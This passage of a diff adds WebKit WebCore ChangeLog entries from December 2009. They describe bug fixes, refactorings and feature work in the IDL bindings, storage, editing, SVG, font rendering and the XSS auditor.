+        * svg/SVGPathSeg.idl:
+        * svg/SVGPreserveAspectRatio.idl:
+        * svg/SVGRenderingIntent.idl:
+        * svg/SVGTextContentElement.idl:
+        * svg/SVGTextPathElement.idl:
+        * svg/SVGTransform.idl:
+        * svg/SVGUnitTypes.idl:
+        * svg/SVGZoomAndPan.idl:
+        * workers/AbstractWorker.idl:
+        * workers/WorkerLocation.idl:
+        * xml/DOMParser.idl:
+        * xml/XMLHttpRequestException.idl:
+        * xml/XMLHttpRequestProgressEvent.idl:
+        * xml/XMLHttpRequestUpload.idl:
+        * xml/XMLSerializer.idl:
+        * xml/XPathEvaluator.idl:
+        * xml/XPathException.idl:
+        * xml/XPathExpression.idl:
+        * xml/XPathResult.idl:
+
+2009-12-23  Dumitru Daniliuc  <dumi@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        A new database should be registered with the Document,
+        DatabaseTracker and DatabaseThread only after it was successfully
+        opened and its version was successfully verified.
+
+        Fixes a regression introduced by
+        http://trac.webkit.org/changeset/52530.
+
+        LayoutTests/storage/open-database-while-transaction-in-progress.html
+        should pass again (or rather, it should pass again when run after
+        open-database-set-empty-version.html).
+
+        https://bugs.webkit.org/show_bug.cgi?id=32913
+
+        * storage/Database.cpp:
+        (WebCore::Database::openDatabase):
+        (WebCore::Database::Database):
+        (WebCore::Database::performOpenAndVerify):
+
+2009-12-23  David Levin  <levin@chromium.org>
+
+        REGRESSION (r52494): Assertion failure in Frame::caretBlinkTimerFired() (selection()->isCaret())
+        https://bugs.webkit.org/show_bug.cgi?id=32903
+
+        No review but ok'ed by Darin Adler. Rolling out r52494 due to above regression.
+
+        * editing/SelectionController.cpp:
+        (WebCore::SelectionController::SelectionController):
+        (WebCore::SelectionController::setSelection):
+        * editing/SelectionController.h:
+        * page/Frame.cpp:
+        (WebCore::Frame::setCaretVisible):
+        (WebCore::Frame::selectionLayoutChanged):
+        * page/FrameView.cpp:
+        (WebCore::FrameView::needsLayout):
+
+2009-12-23  Nikolas Zimmermann  <nzimmermann@rim.com>
+
+        Reviewed by Eric Seidel.
+
+        Reverse JS GenerateConstructor logic
+        https://bugs.webkit.org/show_bug.cgi?id=32910
+
+        Make 'GenerateConstructor' the default setting for all classes, defined in IDL files. The flag is now obsolete and
+        can be removed from all IDL files in a follow-up patch. Add new 'OmitConstructor' flag, that allows to restore the
+        old default behaviour: do not generate JSFoobarConstructor class.
+
+        No change in functionality, despite the fact that we're generating a lot more constructors now, as they have to
+        be exposed through DOMWindow.idl -- this can be done per affected class in follow-up patches. Especially the SVG
+        classes have to be exposed, most of them are missing JS constructors so far.
+
+        As side effect HTMLOptionsCollection is now correctly exposing its constructor, thus fixing a test in fast/dom/wrapper-classes.html
+
+        * bindings/scripts/CodeGeneratorJS.pm:
+        * css/CSSUnknownRule.idl:
+        * css/WebKitCSSMatrix.idl:
+        * dom/EventListener.idl:
+        * dom/EventTarget.idl:
+        * dom/MessageChannel.idl:
+        * html/TimeRanges.idl:
+        * html/ValidityState.idl:
+        * html/VoidCallback.idl:
+        * html/canvas/CanvasGradient.idl:
+        * html/canvas/CanvasPattern.idl:
+        * html/canvas/CanvasPixelArray.idl:
+        * html/canvas/WebGLActiveInfo.idl:
+        * html/canvas/WebGLArray.idl:
+        * html/canvas/WebGLArrayBuffer.idl:
+        * html/canvas/WebGLBuffer.idl:
+        * html/canvas/WebGLByteArray.idl:
+        * html/canvas/WebGLFloatArray.idl:
+        * html/canvas/WebGLFramebuffer.idl:
+        * html/canvas/WebGLIntArray.idl:
+        * html/canvas/WebGLProgram.idl:
+        * html/canvas/WebGLRenderbuffer.idl:
+        * html/canvas/WebGLShader.idl:
+        * html/canvas/WebGLShortArray.idl:
+        * html/canvas/WebGLTexture.idl:
+        * html/canvas/WebGLUniformLocation.idl:
+        * html/canvas/WebGLUnsignedByteArray.idl:
+        * html/canvas/WebGLUnsignedIntArray.idl:
+        * html/canvas/WebGLUnsignedShortArray.idl:
+        * inspector/JavaScriptCallFrame.idl:
+        * loader/appcache/DOMApplicationCache.idl:
+        * notifications/Notification.idl:
+        * notifications/NotificationCenter.idl:
+        * page/AbstractView.idl:
+        * page/BarInfo.idl:
+        * page/Console.idl:
+        * page/Coordinates.idl:
+        * page/DOMSelection.idl:
+        * page/DOMWindow.idl:
+        * page/EventSource.idl:
+        * page/Geolocation.idl:
+        * page/Geoposition.idl:
+        * page/History.idl:
+        * page/Location.idl:
+        * page/Navigator.idl:
+        * page/Screen.idl:
+        * page/WebKitPoint.idl:
+        * page/WorkerNavigator.idl:
+        * storage/Database.idl:
+        * storage/SQLError.idl:
+        * storage/SQLResultSet.idl:
+        * storage/SQLResultSetRowList.idl:
+        * storage/SQLTransaction.idl:
+        * websockets/WebSocket.idl:
+        * workers/DedicatedWorkerContext.idl:
+        * workers/SharedWorker.idl:
+        * workers/SharedWorkerContext.idl:
+        * workers/Worker.idl:
+        * workers/WorkerContext.idl:
+        * xml/XMLHttpRequest.idl:
+        * xml/XPathNSResolver.idl:
+        * xml/XSLTProcessor.idl:
+
+2009-12-23  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        "Refused to execute a JavaScript script" error when embedding SWF with
+        a URL that is also a query parameter
+        https://bugs.webkit.org/show_bug.cgi?id=32908
+
+        Don't block direct injections into the object src attribute unless
+        there's an illegal character (like < or ") in the URL.  This change
+        lets some very unusual vulnerabilities through the filter but removes a
+        false positive that we've seen several times.
+
+        * page/XSSAuditor.cpp:
+        (WebCore::XSSAuditor::canLoadObject):
+
+2009-12-23  Dumitru Daniliuc  <dumi@chromium.org>
+
+        Reviewed by Dmitry Titov.
+
+        Remove pointers to a database that failed to open from the
+        DatabaseTracker and Document.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32885
+
+        * storage/Database.cpp:
+        (WebCore::Database::openDatabase):
+
+2009-12-23  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Darin Adler.
+
+        <rdar://problem/7487164> First line of text cannot be selected
+        https://bugs.webkit.org/show_bug.cgi?id=32749
+
+        Test: fast/text/remove-zero-length-run.html
+
+        * rendering/RenderText.cpp:
+        (WebCore::RenderText::positionLineBox): Changed code that assumed that if a box was being
+            removed, it was the only box in the RenderText. Instead, correctly preserve the list of
+            text boxes.
+        (WebCore::RenderText::checkConsistency): Updated for earlier rename.
+
+2009-12-18  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+
+        Reviewed by Darin Adler.
+
+        Fix for newlines turning into missing-gyphs when using SVG fonts
+
+        https://bugs.webkit.org/show_bug.cgi?id=32710
+
+        Font::drawText() has three code paths:
+
+          - drawTextUsingSVGFont()
+          - drawSimpleText()
+          - drawComplexText()
+
+        The latter two both have logic to replace newlines and tabs, as well
+        as a few other control characters that are considered spaces, with
+        spaces, before actually drawing the text. Previously the SVG font
+        path did not have this kind of logic.
+
+        This change introduces two helper functions in Font to do this space
+        replacement, which are then used for the simple path, the SVG path,
+        and the Qt implementation of the complex path.
+
+        Test: svg/custom/svg-fonts-in-html-linebreaks.html
+
+        * platform/graphics/Font.cpp:
+        (WebCore::Font::normalizeSpaces): Helper function
+        * platform/graphics/Font.h:
+        * platform/graphics/FontFastPath.cpp:
+        (WebCore::Font::glyphDataForCharacter): Use helper
+        * platform/graphics/qt/FontQt.cpp:
+        (WebCore::fromRawDataWithoutRef): Rename from "qstring"
+        (WebCore::Font::drawComplexText): Use helper
+        (WebCore::Font::floatWidthForComplexText): Use helper
+        (WebCore::Font::offsetForPositionForComplexText): Use helper
+        (WebCore::Font::selectionRectForComplexText): Use helper
+        * platform/text/CharacterNames.h: Add enum for 0x0020
+        * svg/SVGFont.cpp: Use helper to fix bug
+        (WebCore::SVGTextRunWalker::walk):
+
+2009-12-23  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        HTMLInputElement::valueAsDate getter support.
+        https://bugs.webkit.org/show_bug.cgi?id=32876
+
+        To implement the valueAsDate getter,
+        - Add a method to calculate milliseconds from 1970-01-01 to ISODateTime.
+        - Introduce m_type field to ISODateTime.
+
+        Tests: fast/forms/input-valueasdate-date.html
+               fast/forms/input-valueasdate-datetime.html
+               fast/forms/input-valueasdate-datetimelocal.html
+               fast/forms/input-valueasdate-month.html
+               fast/forms/input-valueasdate-time.html
+               fast/forms/input-valueasdate-week.html
+
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::valueAsDate):
+          Implement it with ISODateTime::millisecondsSinceEpoch().
+        (WebCore::HTMLInputElement::formStringToISODateTime):
+          Early exit for a null String. This avoids assertion failures in ISODateTime::parse*().
+        * html/ISODateTime.cpp:
+        (WebCore::ISODateTime::parseMonth): Sets m_type.
+        (WebCore::ISODateTime::parseDate): ditto.
+        (WebCore::ISODateTime::parseWeek): ditto.
+        (WebCore::ISODateTime::parseTime): ditto.
+        (WebCore::ISODateTime::parseDateTimeLocal): ditto.
+        (WebCore::ISODateTime::parseDateTime): ditto.
+        (WebCore::ISODateTime::millisecondsSinceEpochForTime): Added.
+        (WebCore::ISODateTime::millisecondsSinceEpoch): Added.
+        * html/ISODateTime.h:
+        (WebCore::ISODateTime::ISODateTime):
+        (WebCore::ISODateTime::invalidMilliseconds):
+
+2009-12-22  Daniel Bates  <dbates@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32799
+
+        Renames enums in RenderStyleConstants::EListStyleType to conform to
+        the WebKit Code Style Guidelines.
+
+        No functionality was changed. So, no new tests.
+
+        * css/CSSPrimitiveValueMappings.h:
+        (WebCore::CSSPrimitiveValue::CSSPrimitiveValue):
+        (WebCore::CSSPrimitiveValue::operator EListStyleType):
+        * rendering/RenderListItem.cpp:
+        (WebCore::RenderListItem::styleDidChange):
+        * rendering/RenderListMarker.cpp:
+        (WebCore::listMarkerText):
+        (WebCore::RenderListMarker::paint):
+        (WebCore::RenderListMarker::calcPrefWidths):
+        (WebCore::RenderListMarker::updateMargins):
+        (WebCore::RenderListMarker::getRelativeMarkerRect):
+        * rendering/style/RenderStyle.h:
+        (WebCore::InheritedFlags::initialListStyleType):
+        * rendering/style/RenderStyleConstants.h:
+        (WebCore::):
+
+2009-12-22  James Su  <suzhe@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        [Chromium] Keyboard shortcut in dropdown not working.
+        https://bugs.webkit.org/show_bug.cgi?id=32008
+
+        Consider PlatformKeyboardEvent::Char type event as character type
+        event on all platforms. It fixes the "type ahead find" feature
+        of the popup listbox on Linux and Mac platforms.
+
+        Merge the case-sensitive type ahead find fix from
+        WebCore/dom/SelectElement.cpp. See
+        https://bugs.webkit.org/show_bug.cgi?id=29103
+
+        * platform/chromium/PopupMenuChromium.cpp:
+        (WebCore::isCharacterTypeEvent):
+
+2009-12-22  Carol Szabo  <carol.szabo@nokia.com>
+
+        Reviewed by Eric Seidel.
+
+        [Qt] The "Search" input type is not rendered correctly when styled.
+        https://bugs.webkit.org/show_bug.cgi?id=32417
+
+        There are no new tests because only pixel tests may be affected by
+        this change and those changes can only be done on the build bot.
+
+        * platform/qt/RenderThemeQt.cpp:
+        (WebCore::RenderThemeQt::paintSearchField):
+        Since currently we paint the Search control as a QLineEdit, I have
+        deferred painting to WebCore, as in the case of the text input so 
+        that the painting is consistent.
+
+2009-12-22  Yongjun Zhang  <yongjun.zhang@nokia.com>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32121
+        [Qt] implement ImageDecoderQt::clearFrameBufferCache().
+       
+        * platform/graphics/qt/ImageDecoderQt.cpp:
+        (WebCore::ImageDecoderQt::initializeDecoder):
+        (WebCore::ImageDecoderQt::setData):
+        (WebCore::ImageDecoderQt::clearFrameBufferCache):
+        * platform/graphics/qt/ImageDecoderQt.h:
+
+2009-12-22  Nayan Kumar K  <nayankk@gmail.com>
+
+        Reviewed by Eric Seidel.
+
+        Fix assert failure with WML pages having 'Refresh' task in
+        'onenterforward' event.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30989
+
+        Writing Layout test is not possible. Please refer to the discussion
+        in bug id #30989. A sample test case is attached in BugZilla.
+
+        * wml/WMLCardElement.cpp:
+        (WebCore::WMLCardElement::handleIntrinsicEventIfNeeded):
+
+2009-12-22  Darin Adler  <darin@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        ASSERTION FAILED: m_numNodeListCaches
+        https://bugs.webkit.org/show_bug.cgi?id=19526
+        <rdar://problem/7431572>
+
+        Test: fast/dom/NodeList/adoptNode-node-list-cache.html
+
+        * dom/Node.cpp:
+        (WebCore::Node::setDocument): Call removeNodeListCache on the old
+        document and addNodeListCache on the new one if moving a node that
+        has node lists.
+
+2009-12-22  Darin Adler  <darin@apple.com>
+
+        First cut at fixing Windows build.
+
+        * WebCorePrefix.cpp: Touch it.
+
+2009-12-22  Darin Adler  <darin@apple.com>
+
+        Reviewed by Mark Rowe.
+
+        Turn off datagrid by default, at least for all platforms Apple ships.
+        The datagrid implementation isn't ready for general web use yet.
+
+        * Configurations/FeatureDefines.xcconfig: Turn off datagrid by default.
+        * WebCore.vcproj/WebCoreCommon.vsprops: Ditto.
+        * WebCore.vcproj/build-generated-files.sh: Ditto.
+        * page/DOMWindow.idl: Sorted things here to touch the file to give
+        the Windows build a slightly better chance of success.
+
+2009-12-22  Darin Adler  <darin@apple.com>
+
+        Rubber stamped by Dan Bernstein.
+
+        * page/FrameView.h: Removed incorrect comment.
+
+2009-12-22  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: simplify highlighter definition.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32869
+
+        * inspector/front-end/CSSSourceSyntaxHighlighter.js:
+        (WebInspector.CSSSourceSyntaxHighlighter):
+        * inspector/front-end/JavaScriptSourceSyntaxHighlighter.js:
+        (WebInspector.JavaScriptSourceSyntaxHighlighter.):
+        (WebInspector.JavaScriptSourceSyntaxHighlighter):
+        * inspector/front-end/SourceSyntaxHighlighter.js:
+        (WebInspector.SourceSyntaxHighlighter.prototype.lex):
+        * inspector/front-end/utilities.js:
+        ():
+
+2009-12-21  Darin Adler  <darin@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Reentrancy problem with selection in some edge cases.
+        https://bugs.webkit.org/show_bug.cgi?id=32842
+        rdar://problem/7449974
+
+        Test: fast/forms/selection-layout-reentry-strange-case.html
+
+        Move the selection display update process done in the
+        selectionLayoutChanged function into the layout timer
+        instead of doing it immediately when selection changes occur.
+
+        * editing/SelectionController.cpp:
+        (WebCore::SelectionController::SelectionController):
+        Initialize m_needsDisplayUpdate to false.
+        (WebCore::SelectionController::setSelection): Call
+        the new setNeedsDisplayUpdate function instead of the old
+        badly named Frame::selectionLayoutChanged function.
+        (WebCore::SelectionController::setNeedsDisplayUpdate):
+        Set m_needsDisplayUpdate. If it is just becoming true, then
+        call FrameView::scheduleRelayout.
+
+        * editing/SelectionController.h: Added setNeedsDisplayUpdate,
+        needsDisplayUpdate, and m_needsDisplayUpdate.
+
+        * page/Frame.cpp:
+        (WebCore::Frame::setCaretVisible): Call setNeedsDisplayUpdate.
+        (WebCore::Frame::selectionLayoutChanged): Call
+        setNeedsDisplayUpdate to set it to false, since this is the
+        function that performs "selection display update". Later I want
+        to rename this function.
+
+        * page/FrameView.cpp:
+        (WebCore::FrameView::needsLayout): Add a new clause, since
+        we need a call to layout if needsDisplayUpdate is true.
+
+2009-12-22  Kwang Yul Seo  <skyul@company100.net>
+
+        Reviewed by Darin Adler.
+
+        Allocate RemoteFontStream on the heap
+        https://bugs.webkit.org/show_bug.cgi?id=32850
+
+        RemoteFontStream is allocated on the stack, so its memory is freed
+        immediately when FontCustomPlatformData::createFontCustomPlatformData
+        returns. 
+
+        SkTypeface::CreateFromStream increments the reference count, but it keeps
+        the pointer to the memory allocated on the stack which is not valid
+        anymore.
+
+        RemoteFontStream is a descendant of SkRefCount and SkRefCount::unref
+        invokes SkDELETE(this) internally once the reference count reaches zero.
+        This means that SkRefCount-ed instances must be allocated on the heap.
+
+        * platform/graphics/chromium/FontCustomPlatformData.cpp:
+        (WebCore::createFontCustomPlatformData):
+
+2009-12-22  Kwang Yul Seo  <skyul@company100.net>
+
+        Reviewed by Darin Adler.
+
+        when condition COMPILER(RVCT) is fulfilled, we are trying to free a pointer to array allocated on the stack
+        https://bugs.webkit.org/show_bug.cgi?id=32861
+
+        Don't free the pointer for COMPILER(RVCT).
+
+        * dom/XMLTokenizerLibxml2.cpp:
+        (WebCore::XMLTokenizer::error):
+
+2009-12-22  Sam Weinig  <sam@webkit.org>
+
+        Rubber-stamped by Dan Bernstein.
+
+        Remove no longer necessary experimental single view #ifdefs from Widget and
+        ScrollView.
+
+        * page/Chrome.h:
+        * page/mac/ChromeMac.mm:
+        * platform/ScrollView.cpp:
+        (WebCore::ScrollView::wheelEvent):
+        * platform/Widget.cpp:
+        * platform/Widget.h:
+        * platform/mac/ScrollViewMac.mm:
+        * platform/mac/WidgetMac.mm:
+
+2009-12-21  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Do not lose original request for non-main resource redirects.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32678
+
+        * inspector/InspectorResource.cpp:
+        (WebCore::InspectorResource::appendRedirect):
+        * inspector/front-end/Resource.js:
+        (WebInspector.Resource):
+        * inspector/front-end/inspector.js:
+        (WebInspector.updateResource):
+
+2009-12-21  Kwang Yul Seo  <skyul@company100.net>
+
+        Reviewed by Eric Seidel.
+
+        Use ASSERT instead of assert in image-decoders
+        https://bugs.webkit.org/show_bug.cgi?id=32852
+
+        Other decoders use WTF's ASSERT macro.
+        Follow this convention.
+
+        * platform/image-decoders/jpeg/JPEGImageDecoder.cpp:
+        (WebCore::JPEGImageReader::decode):
+        * platform/image-decoders/png/PNGImageDecoder.cpp:
+        (WebCore::PNGImageDecoder::headerAvailable):
+
+2009-12-21  Kwang Yul Seo  <skyul@company100.net>
+
+        Reviewed by Eric Seidel.
+
+        Use vsnprintf instead of vasprintf for RVCT.
+        https://bugs.webkit.org/show_bug.cgi?id=32851
+
+        RVCT does not support vasprint, so use vsnprintf instead.
+
+        * dom/XMLTokenizerLibxml2.cpp:
+        (WebCore::XMLTokenizer::error):
+
+2009-12-21  Fumitoshi Ukai  <ukai@chromium.org>
+
+        Reviewed by Alexey Proskuryakov.
+
+        Invalid url should raise SYNTAX_ERR exception.
+        https://bugs.webkit.org/show_bug.cgi?id=32700
+
+        Check url is valid in WebSocket::connect.
+        Also log the detailed reason of websocket failures to console.
+
+        * websockets/WebSocket.cpp:
+        (WebCore::encodeProtocolString):
+        (WebCore::WebSocket::connect):
+
+2009-12-21  Anders Carlsson  <andersca@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Make sure that we check for the right thread.
+
+        * platform/mac/WebCoreObjCExtras.mm:
+        (WebCoreObjCScheduleDeallocateOnMainThread):
+
+2009-12-21  Enrica Casucci  <enrica@apple.com>
+
+        Reviewed by Maciej Stachowiak.
+
+        REGRESSION(4.0.4-ToT): Indent deletes non highlighted text in gmail.
+        <rdar://problem/7489326>
+        https://bugs.webkit.org/show_bug.cgi?id=32843
+        
+        The fix for 7442387 did not handle the case where the end of paragraph
+        is not a descendant of the computed outer block.
+        Updated editing/execCommand/indent-with-style2.html to cover this case too.
+
+        * editing/CompositeEditCommand.cpp:
+        (WebCore::CompositeEditCommand::cloneParagraphUnderNewElement): 
+
+2009-12-21  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32831
+        Replace UString::Rep implementation, following introduction of ropes to JSC.
+
+        * ForwardingHeaders/runtime/UStringImpl.h: Added.
+            - add forwarding header.
+
+        * platform/text/StringImpl.cpp:
+        (WebCore::StringImpl::ustring):
+            - order of arguments to UString::Rep constructor for shared strings changed.
+
+2009-12-18  Nate Chapin  <japhet@chromium.org>
+
+        Reviewed by Adam barth.
+
+        Generate V8 bindings non-constructor callback declarations 
+        in CodeGeneratorV8.pm instead of manually declaring them in
+        V8CustomBinding.h.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32638
+
+        * bindings/scripts/CodeGeneratorV8.pm:
+        * bindings/v8/V8DOMWrapper.cpp:
+        * bindings/v8/custom/V8AbstractWorkerCustom.cpp:
+        * bindings/v8/custom/V8CanvasRenderingContext2DCustom.cpp:
+        * bindings/v8/custom/V8ClipboardCustom.cpp:
+        * bindings/v8/custom/V8ConsoleCustom.cpp:
+        * bindings/v8/custom/V8CustomBinding.h:
+        * bindings/v8/custom/V8DOMApplicationCacheCustom.cpp:
+        * bindings/v8/custom/V8DOMParserConstructor.cpp:
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        * bindings/v8/custom/V8DatabaseCustom.cpp:
+        * bindings/v8/custom/V8DedicatedWorkerContextCustom.cpp:
+        * bindings/v8/custom/V8DocumentCustom.cpp:
+        * bindings/v8/custom/V8GeolocationCustom.cpp:
+        * bindings/v8/custom/V8HTMLAllCollectionCustom.cpp:
+        * bindings/v8/custom/V8HTMLAudioElementConstructor.cpp:
+        * bindings/v8/custom/V8HTMLCanvasElementCustom.cpp:
+        * bindings/v8/custom/V8HTMLCollectionCustom.cpp:
+        * bindings/v8/custom/V8HTMLDocumentCustom.cpp:
+        * bindings/v8/custom/V8HTMLFormElementCustom.cpp:
+        * bindings/v8/custom/V8HTMLImageElementConstructor.cpp:
+        * bindings/v8/custom/V8HTMLInputElementCustom.cpp:
+        * bindings/v8/custom/V8HTMLOptionElementConstructor.cpp:
+        * bindings/v8/custom/V8HTMLOptionsCollectionCustom.cpp:
+        * bindings/v8/custom/V8HTMLPlugInElementCustom.cpp:
+        * bindings/v8/custom/V8HTMLPlugInElementCustom.h: Added.
+        * bindings/v8/custom/V8HTMLSelectElementCustom.cpp:
+        * bindings/v8/custom/V8HistoryCustom.cpp:
+        * bindings/v8/custom/V8InjectedScriptHostCustom.cpp:
+        * bindings/v8/custom/V8InspectorFrontendHostCustom.cpp:
+        * bindings/v8/custom/V8LocationCustom.cpp:
+        * bindings/v8/custom/V8MessageChannelConstructor.cpp:
+        * bindings/v8/custom/V8MessageEventCustom.cpp:
+        * bindings/v8/custom/V8MessagePortCustom.cpp:
+        * bindings/v8/custom/V8NodeCustom.cpp:
+        * bindings/v8/custom/V8NodeFilterCustom.cpp:
+        * bindings/v8/custom/V8NodeIteratorCustom.cpp:
+        * bindings/v8/custom/V8NotificationCenterCustom.cpp:
+        * bindings/v8/custom/V8SQLResultSetRowListCustom.cpp:
+        * bindings/v8/custom/V8SQLTransactionCustom.cpp:
+        * bindings/v8/custom/V8SVGElementInstanceCustom.cpp:
+        * bindings/v8/custom/V8SVGLengthCustom.cpp:
+        * bindings/v8/custom/V8SVGMatrixCustom.cpp:
+        * bindings/v8/custom/V8SharedWorkerCustom.cpp:
+        * bindings/v8/custom/V8TreeWalkerCustom.cpp:
+        * bindings/v8/custom/V8WebGLArrayBufferCustom.cpp:
+        * bindings/v8/custom/V8WebGLByteArrayCustom.cpp:
+        * bindings/v8/custom/V8WebGLFloatArrayCustom.cpp:
+        * bindings/v8/custom/V8WebGLIntArrayCustom.cpp:
+        * bindings/v8/custom/V8WebGLRenderingContextCustom.cpp:
+        * bindings/v8/custom/V8WebGLShortArrayCustom.cpp:
+        * bindings/v8/custom/V8WebGLUnsignedByteArrayCustom.cpp:
+        * bindings/v8/custom/V8WebGLUnsignedIntArrayCustom.cpp:
+        * bindings/v8/custom/V8WebGLUnsignedShortArrayCustom.cpp:
+        * bindings/v8/custom/V8WebKitCSSMatrixConstructor.cpp:
+        * bindings/v8/custom/V8WebKitPointConstructor.cpp:
+        * bindings/v8/custom/V8WebSocketCustom.cpp:
+        * bindings/v8/custom/V8WorkerContextCustom.cpp:
+        * bindings/v8/custom/V8WorkerCustom.cpp:
+        * bindings/v8/custom/V8XMLHttpRequestConstructor.cpp:
+        * bindings/v8/custom/V8XMLHttpRequestCustom.cpp:
+        * bindings/v8/custom/V8XMLHttpRequestUploadCustom.cpp:
+        * bindings/v8/custom/V8XMLSerializerConstructor.cpp:
+        * bindings/v8/custom/V8XPathEvaluatorConstructor.cpp:
+        * bindings/v8/custom/V8XSLTProcessorCustom.cpp:
+
+2009-12-21  Nate Chapin  <japhet@chromium.org>
+
+        Rubber-stamped by Darin Adler.
+
+        Revert r52446 due to crashiness.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32839
+
+        * loader/DocumentThreadableLoader.cpp:
+        (WebCore::DocumentThreadableLoader::loadRequest):
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::FrameLoader):
+        (WebCore::FrameLoader::stopLoading):
+        (WebCore::FrameLoader::loadURL):
+        (WebCore::FrameLoader::loadWithDocumentLoader):
+        (WebCore::FrameLoader::stopAllLoaders):
+        (WebCore::FrameLoader::continueLoadAfterNavigationPolicy):
+        (WebCore::FrameLoader::pageHidden):
+        * loader/FrameLoader.h:
+        (WebCore::FrameLoader::suppressOpenerInNewFrame):
+        * loader/Request.cpp:
+        (WebCore::Request::Request):
+        (WebCore::Request::~Request):
+        * loader/Request.h:
+        * loader/SubresourceLoader.cpp:
+        (WebCore::SubresourceLoader::create):
+        * loader/SubresourceLoader.h:
+        * loader/loader.cpp:
+        (WebCore::Loader::load):
+        (WebCore::Loader::cancelRequests):
+        (WebCore::Loader::Host::servePendingRequests):
+        (WebCore::Loader::Host::cancelPendingRequests):
+        (WebCore::Loader::Host::cancelRequests):
+
+2009-12-19  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Add support for V8 Date binding.
+        https://bugs.webkit.org/show_bug.cgi?id=32699
+
+        This implements the same behavior as the recent change of
+        CodeGeneratorJS.pm and JSDOMBinding.cpp.
+
+        * bindings/scripts/CodeGeneratorV8.pm:
+          Produce toWebCoreDate() or v8DateOrNull() for Date type.
+        * bindings/v8/V8Binding.cpp:
+        (WebCore::toWebCoreDate):
+          Converts a JavaScript object to a double representing Date.
+        (WebCore::v8DateOrNull):
+          Converts a double representing Date to a JavaScript Date object or null.
+        * bindings/v8/V8Binding.h: Declare toWebCoreDate() and v8DateOrNull().
+        * html/HTMLInputElement.idl: Delete V8_BINGIN exclusion for valueAsDate.
+
+2009-12-21  Darin Adler  <darin@apple.com>
+
+        Reviewed by Mark Rowe.
+
+        Renamed m_sel to m_selection. Used do-webcore-rename.
+
+        * editing/SelectionController.cpp:
+        (WebCore::SelectionController::setSelection):
+        (WebCore::SelectionController::nodeWillBeRemoved):
+        (WebCore::SelectionController::willBeModified):
+        (WebCore::SelectionController::directionOfEnclosingBlock):
+        (WebCore::SelectionController::modifyExtendingRight):
+        (WebCore::SelectionController::modifyExtendingForward):
+        (WebCore::SelectionController::modifyMovingRight):
+        (WebCore::SelectionController::modifyMovingForward):
+        (WebCore::SelectionController::modifyExtendingLeft):
+        (WebCore::SelectionController::modifyExtendingBackward):
+        (WebCore::SelectionController::modifyMovingLeft):
+        (WebCore::SelectionController::modifyMovingBackward):
+        (WebCore::SelectionController::modify):
+        (WebCore::SelectionController::expandUsingGranularity):
+        (WebCore::SelectionController::xPosForVerticalArrowNavigation):
+        (WebCore::SelectionController::setBase):
+        (WebCore::SelectionController::setExtent):
+        (WebCore::SelectionController::layout):
+        (WebCore::SelectionController::caretRenderer):
+        (WebCore::SelectionController::invalidateCaretRect):
+        (WebCore::SelectionController::paintCaret):
+        (WebCore::SelectionController::debugRenderer):
+        (WebCore::SelectionController::contains):
+        (WebCore::SelectionController::selectAll):
+        (WebCore::SelectionController::formatForDebugger):
+        (WebCore::SelectionController::showTreeForThis):
+        * editing/SelectionController.h:
+        * editing/gtk/SelectionControllerGtk.cpp:
+        (WebCore::SelectionController::notifyAccessibilityForSelectionChange):
+        * editing/mac/SelectionControllerMac.mm:
+        (WebCore::SelectionController::notifyAccessibilityForSelectionChange):
+        Let the script do its thing. Made sure no tests broke.
+
+2009-12-21  Carol Szabo  <carol.szabo@nokia.com>
+
+        Reviewed by Darin Adler.
+
+        Inconsistent use of counterName and identifier in CSS counter code and loss of information about the counter type.
+        https://bugs.webkit.org/show_bug.cgi?id=31814
+
+        No new tests because there are no functional changes in this patch.
+
+        * rendering/CounterNode.cpp:
+        (WebCore::CounterNode::CounterNode):
+        (WebCore::CounterNode::computeCountInParent):
+        (WebCore::showTreeAndMark):
+        * rendering/RenderCounter.cpp:
+        (WebCore::planCounter):
+        (WebCore::findPlaceForCounter):
+        (WebCore::makeCounterNode):
+        (WebCore::RenderCounter::originalText):
+        Changed to use identifier instead of counterName and actsAsReset or hasResetType, as appropriate instead of isReset.
+        * rendering/CounterNode.h:
+        (WebCore::CounterNode::actsAsReset):
+        (WebCore::CounterNode::hasResetType):
+
+2009-12-21  Dirk Schulze  <krit@webkit.org>
+
+        Reviewed by Darin Adler and Nikolas Zimmermann.
+
+        Speed-up SVG Masking
+        https://bugs.webkit.org/show_bug.cgi?id=32738
+
+        This patch makes SVG Masking faster. The luminance calculaton of the ImageBuffer,
+        that is created by pixel manipulation, got optimized. The ImageBuffer and it's
+        luminance is created once now, not on every call of applyMask.
+        The size of the intermediate ImageBuffer depends on the visible area now and is
+        clipped by the mask rect.
+        
+        The patch doesn't change functionality so no new tests needed.
+        The new ImageBuffer handling in Mask causes two updates of test results. The pixel
+        tests and LayoutTests pass, but the checksum doesn't match.
+
+        * svg/SVGMaskElement.cpp:
+        (WebCore::SVGMaskElement::drawMaskerContent):
+        * svg/graphics/SVGResourceMasker.cpp:
+        (WebCore::SVGResourceMasker::applyMask):
+
+2009-12-21  Andreas Kling  <andreas.kling@nokia.com>
